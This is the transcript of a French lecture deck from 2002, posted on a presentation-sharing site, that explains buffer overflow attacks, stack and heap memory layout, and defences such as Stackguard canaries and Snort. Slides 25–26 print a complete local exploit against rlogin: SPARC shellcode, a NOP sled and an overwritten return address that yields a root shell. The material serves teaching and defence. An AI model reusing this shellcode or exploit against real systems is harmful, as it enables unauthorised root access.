1 / 32

Buffer Overflow

Buffer Overflow. When Data Become Instructions. Vendredi, 1er mars 2002 : Sart-Tilman. Buffer Overflow. Principes généraux Organisation de la mémoire - Exploitation 2 types d’attaque (locale ou distante) Exemple : rlogin Détection d’intrusion. 1- Principes généraux.

ulric
Download Presentation

Buffer Overflow

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Buffer Overflow When Data Become Instructions Vendredi, 1er mars 2002 : Sart-Tilman

  2. Buffer Overflow • Principes généraux • Organisation de la mémoire - Exploitation • 2 types d’attaque (locale ou distante) • Exemple : rlogin • Détection d’intrusion

  3. 1- Principes généraux Qu'est-ce que le buffer overflow ? Le buffer overflow est une forme d’attaque visant à faire exécuterdans un processus du code malicieuxinitialement non présent dans celui-ci.

  4. Qu'est-ce que le buffer overflow ? Si le processus corrompu a le SUID bit positionné,l'exécution de code arbitraire avec des privilèges d'exécution root peut avoir des effets désastreux pour le système attaqué ... Utilisation la plus courante : attaquer un démon systèmeen vue d'obtenir un shell root.

  5. Qu'est-ce que le buffer overflow ? Quelle faille un processus doit-il exhiberpour être vulnérable à une attaque par buffer overflow ? Du code écrit avec peu de rigueur suffit : le non-respect de la propriété invariante établie pour une boucle est une source majeurede vulnérabilité.

  6. Qu'est-ce que le buffer overflow ? Une telle approche laxiste de la programmation est nuisible,conduisant à une vulnérabilité importante des systèmes. En effet, faire du buffer overflowconsiste à écrire dans un buffer (souvent un tableau d'octets)plus de données que la capacité nominale du buffer ne le permet.

  7. Exemple void Trucmuch(int a, int b, int c) { char tableau[20]; char depasse[28]; strcpy(tableau, depasse); }

  8. Quelles sont les étapes conduisant à un exploit ?(vue d’ensemble) • Trouver la victime (SUID !) • Analyser son code source (trouver les failles!) • Lui faire manger un œuf (le code malicieux) en exploitant une faille telle que précédemment décrite • Laisser incuber… (l’œuf est activé quand l’exécution du processus retourne de la fonction où le buffer overflow a eu lieu)  La voie royale!

  9. 2 interrogations fondamentales • comment placer l’œuf ?  variables d'environnement  arguments fonctionnels • comment faire exécuter l’œuf ? WHEN DATA BECOMEINSTRUCTIONS

  10. Buffer Overflow • Principes généraux • Organisation de la mémoire - Exploitation • 2 types d’attaque (locale ou distante) • Exemple : rlogin • Détection d’intrusion

  11. 2- Organisation de la mémoire • 2 architectures : • Architecture Von Neumann "C'est le programme qui doit s'occuper de distinguerles données des instructions." • Architecture Harvard code données code données

  12. Architecture Von Neumann Attaque en utilisant la pile

  13. Pile i, p Mémoire allouée aux données d’un programme sfp Push $1 Push $2 Push $3 ret tableau 20 : 0 Tas Organisation de la pile :Exécution normale Code exécutable 1, 2, 3 int main() { int i, *p; p = malloc(SIZE); Trucmuch(1,2,3); return 0; } void Trucmuch(int a, int b, int c) { char tableau[20]; } call Trucmuch

  14. ? ? sfp ret Organisation de la pile :Exécution anormale Pile Code exécutable SEGMENTATION FAULT 1, 2, 3 void Trucmuch(int a, int b, int c) { char tableau[20]; char depasse[28]; strcpy(tableau, depasse); } sfp 4 4 ret tableau 20 : 0 depasse 28 . . 0

  15. Code exécutable sfp ret Organisation de la pile :Exécution malicieuse Pile #> _ 1, 2, 3 void Trucmuch(int a, int b, int c) { char tableau[20]; char depasse[28]; depasse = "A1 BB 09 89 … strcpy(tableau, depasse); } sfp 4 4 ret tableau 20 : 0 Depasse A1 BB 09 89 56 5B 08 89 90 56 67 56 F1 A2 45 30 20 07 56 5F D4 D2 88 78 X+28 . . X + 0 new ret

  16. Architectures Von Neumann & Harvard Attaque en utilisant le tas Pas de données qui deviennent des instructions Utilisation des effets de bord

  17. écrasé Buffer overflow dans le tas Donnée innocente Mot de passe tas

  18. Buffer Overflow • Principes généraux • Organisation de la mémoire - Exploitation • 2 types d’attaque (locale ou distante) • Exemple : rlogin • Détection d’intrusion

  19. Attaque locale ou à distance • Vue générale* Différences entre le buffer overflow local et à distance • * Difficultés d’exploitation* Exemples

  20. Différences entre local et à distance • B.O. local : L’intrus possède déjà un compte sur la machine sur laquelle il veut réaliser l’attaque. • B.O. à distance: L’intrus attaque la cible depuis une autre machine et il n’a aucun login sur cette cible.

  21. Difficultés de réaliser ces attaques • B.O. local: Cette attaque est très simple à réaliser  l’intrus n’a qu’à exécuter un programme malicieux qui lui donnera in fine les privilèges de root. • B.O. à distance:Cette attaque requiert plus de connaissances et plus de travail: • établir une connexion avec la cible • trouver une faiblesse qui l’autorisera à exécuter du code (et ainsi placer le code malicieux) • trouver un moyen d’exécuter le code malicieux

  22. Exemples • B.O. local: rlogin • B.O. à distance: Exploiter la faiblesse d’un serveur web

  23. Buffer Overflow • Principes généraux • Organisation de la mémoire - Exploitation • 2 types d’attaque (locale ou distante) • Exemple : rlogin • Détection d’intrusion

  24. 4- Exemple : rlogin • Présentation succincte du code • Failles dans le code source • Expliquer l’attaque

  25. #include ... #define ... u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0"  "\x13\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15" "\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94"  "\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8" "\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd4\xff\xff"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode); 1/2

  26. long_p = (u_long *) buf; for (i=0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ = targ_addr; printf("Jumping to address 0x%lx\n", targ_addr); execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0); perror("execl failed"); } 2/2

  27. sfp ret code nop

  28. Buffer Overflow • Principes généraux • Organisation de la mémoire - Exploitation • 2 types d’attaque (locale ou distante) • Exemple : rlogin • Détection d’intrusion

  29. 5- Détection d’intrusion Deux solutions possibles • Stackguard • Snort

  30. Stackguardun compilateur spécialisé sfp ret • En cas d’attaque • on écrase le buffer, canary et ret • avant le retour de la fonction, le programme vérifie le contenu de canary et détecte l’intrusion canary buffer

  31. Stackguard : canary Canary ne doit pas pouvoir être généré par buffer overflow • Nombre aléatoire • Une chaine contenant des 0x00 et des CR/LF

  32. Snort • Attaque locale : ??? • Attaque à distance : • Détecter le passage du shell-code

More Related